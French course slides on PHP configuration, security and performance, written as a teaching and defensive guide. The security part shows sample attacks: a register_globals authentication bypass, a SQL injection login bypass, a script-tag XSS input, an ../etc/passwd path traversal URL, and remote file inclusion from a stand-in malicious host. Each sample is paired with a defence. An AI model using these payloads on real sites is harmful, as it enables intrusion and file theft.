Configuration/Sécurité et performances avec PHP
Deux installations pour PHP apache Comme un module CGI Chaque invocation d'un script php entraine le démarrage d'un processus Un binaire PHP est exécuté à chaque interprétation d'un script PHP Le binaire peut être utilisé comme un interprête à partir de la ligne de commande Comme un module Apache Le module PHP est démarré avec le serveur Apache et c'est apache qui se charge des invocations de l'interprête à l'intérieur de son propre processus Plus d'efficacité
La configuration de PHP Le fichier de configuration de PHP est un fichier de propriétés name=value L'endroit où il se trouvent dépend des options de compilation Dans le répertoire d'installation Dans c:\winnt pour windows 2000
Directives Plusieurs catégories de directives Options pour le langage Options pour la gestion des resources Options pour la gestion des variables Options pour l'organisation des fichiers Options pour l'upload de fichiers Options pour le debugging
Pour le langage short_open_tag et asp_tags pour les balise de début et de fin de scripts precision = int : precision des nombres en virgule flottante Expose_php = bool : PHP expose le fait qu'il est installé sur le serveur (header)
Les ressources memory_limit="8m" Permet de limiter la mémoire utilisée pour l'exécution d'un script Utile pour éviter à des scripts mals écrits d'écrouler le serveur max_execution_time=30 Temps maximum d'exécution d'un script Pour éviter qu'un script consomme toutes les ressources CPU
La gestion des erreurs error_reporting = E_ALL les erreurs à considérer display_errors = on Affiche les erreurs dans le navigateur Mettre à off en production pour des raisons de sécurité log_errors = off Logging des erreurs dans un fichier Mode recommandé en production error_log = filename Fichier dans lequel les erreurs sont enregistrées
Les données track_vars=''on'' : les variables d'env, get, post, cookies, server sont enregistrées dans les tableaux $_ENV, $_GET... toujours activé depuis 4.0.3 default_mimetype="text/html" Type mime par défaut du résultat de l'exécution default_charset ="iso 8859 1" Jeu de caractères par défaut arg_separator.{input,output}='&' : caractère utilisé pour séparer les arguments dans les les urls
Les données register_globals Si on'' À chaque variable GET ou POST, COOKIE une variable globale correspondante est associée Ex :?id=3 produit la variable globale $id Si ''off'' Les variables ne sont accessibles que par les tableaux superglobaux (pas besoin de les désigner comme global, visibles partout)
register global on EGPCS = Environment, GET, POST, Cookie, Server variables_order="egpcs" Détermine l'ordre de traitement des variables "GP" ne prendra en compte que les variables Get et Post
Les données Il est possible de forcer l'exécution d'un script avant ou après chaque script PHP auto_prepend_file auto_append_file magic_quotes_gpc=on Backslash automatiquement les ' " et \ dans les paramètres get, post et cookies
Les chemins, les fichiers include_path "/path1:/path2" chemin de recherche des fichiers PHP pour require et include Attention, différent sous windows et unix Doc_root : racine des fichiers PHP. Si positionné, c'est le seul endroit où des fichiers PHP pourront être exécutés
Les chemins, les fichiers Les extensions sont des interfaces entre PHP et différents autres services mail, xml processing, mysql Fournissent des librairies de fonctions spécialisées Pour modifier des extensions extension_dir le chemin vers les librairies contenant les extensions extension string le nom d'un module à charger
L'upload file_uploads = On pour autoriser l'upload de fichiers upload_tmp_dir string le chemin vers lequel les fichiers sont transférés upload_max_filesize 2M la taille maximum des fichiers uploadés
La sécurité PHP, comme langage de script a accès à toutes les ressources du système Il est possible de suivre quelques règles qui permettent d'éviter les problèmes Il est impossible de garantir la sécurité à 100% La règle numéro 1 est de ne jamais faire confiance aux données fournies par l'utilisateur éviter les globals Variables GET/POST/COOKIE Fichiers uploadés
Le contrôle de variables globales register_global ON : souvent nécessaire pour faire fonctionner des applications anciennes ou mal codées Problème : donne l'opportunité de contrôler la valeur de certaines variables globales de l'extérieur, simplement en passant une valeur dans l'url : http://server/myapp?i=8 modifie $i=8
Exemple de trichage <?php if ( check_password($login,$password) ) { $is_authenticated = 1 ; } if ( $is_authenticated == 1 ) {... http ://myhost/test.php?is_authenticated=1
Autres problèmes avec les variables globales Include ($libdir. "/functions.inc.php") ; $libdir=http://sitemechant/ Sur ce site : un fichier "functions.inc.php PROVOQUE L'EXECUTION DE CE CODE
Quelques principes pour résister Register_global OFF chaque fois que possible, sinon Ne jamais faire confiance à une variable non explicitement initialisée par le programme Au maximum, initialiser les variables Dans les cas contraires : vérifier que la variable est absente du tableau $_GET
SQL injection insertion de commandes SQL dans des données saisies au travers d'un formulaire <? $user=$_post['user']; $pass=$_post['pass']; $query="select * from users where uname='$user' AND upass='$pass'"; $res=mysql_query($query); if (mysql_num_rows($res) >0 ) { $auth=1;?> Supposons $_POST['user'] = "admin' #" Alors : $query = SELECT * from users where uname='admin' #' AND upass=''"; Cette requête retourne TOUJOURS une ligne!!!
Autres types d'injection Utiliser UNION pour étendre la requête Utiliser des conditions toujours vraies que l'on combine avec un OR
Comment résister Config : Magic_quotes_gpc ON admin ' # admin \' # Protection locale : fonction mysql_escape_string () Ajoute des \ devant ', \, " Contrôler les données fournies par l'utilisateur Limiter et prévenir : Ne jamais exposer le schéma de la base (dans les formulaires en particulier) Ne pas afficher les erreurs Limiter les droits de l'utilisateur qui accède à la base Logger les requêtes
Cross Site Scripting Principe : insérer des balises html avec des scripts dans des données qui sont affichées par l'application <??> echo "votre recherche {$_POST['query']} a echoue <br>" ; Dans le formulaire, on saisit : "<script> alert("coucou Bilou");</script> Ou un script plus méchant!
Comment résister Fonctions: strip_tags() : retire TOUS les tags html d'une string htmlspecialchars() : convertit les caractères spéciaux html en caractères affichables : "<" < <?php $new = htmlspecialchars("<a href='test'>test</a>", ENT_QUOTES); echo $new; // <a href='test'>test</a>?>
Accès à des fichiers locaux <? $page = $_GET['page']; include($page);?> La bonne blague : http://monsite/index.php?page=../../../../etc/passwd Encore plus amusant : http://monsite/index.php?page=http://sitemechant/scriptmechant.php
Comment résister Faire un contrôle sur les noms de fichiers avec une expression régulière pour vérifier qu'ils ne contiennent pas de chemins (pas de.. ou de / ou de \)
Le safe_mode Utile pour les serveurs partagés (ISP) Vérifie que le script qui s'exécute à le même propriétaire que le fichier auquel il accède (uid) Peut s'appliquer aussi au groupe (gid) Évite à des applications sur le même serveur de polluer vos applis Permet de Restreindre les fonctions appelables par les scripts : disable_functions Restreindre les endroits où on peut ouvrir de fichiers depuis PHP (fopen): open_basedir Empécher les scripts de modifier les variables d'environnement ne commençant pas par un préfixe donné : safe_mode_allow_env_vars
Restreindre les informations Éviter d'exposer des informations sur votre environnement Error reporting dans un fichier de log uniquement Error_reporting=e_none Display_errors=false Ou Pas de fichiers d'inclusion se terminant par.inc Cacher le fait que vous utilisez PHP Expose_php="off" L'extension par défaut peut aussi être changée (config apache)
Performances et PHP Il est difficile a priori de prévoir les sections coûteuses dans un script PHP Boucles Traitement de chaînes répétés Accès à la base de données inutiles Utiliser un outil de Profiling Mettre des points de contrôle dans le code Analyser différents types d'exécution Faire attention aux accès à la base de donnée C'est souvent le plus cher
Profiling Calculer le temps passé dans les fonctions et les scripts Différentes librairies php, nécessitent d'ajouter du code dans les scripts Outils commerciaux d'optimisation et de profiling (Zend) http://www.adepteo.net/profiler/index.php
Quelques fonctions zutiles phpinfo() : affiche la configuration php et diverses informations ini_get(string varname) : renvoie la valeur d'une variable de configuration ini_set(string varname, string val) : change la valeur d'une variable de configuration pour le script courant ini_restore(string varname) : restore la valeur initiale d'une variable configuration
fin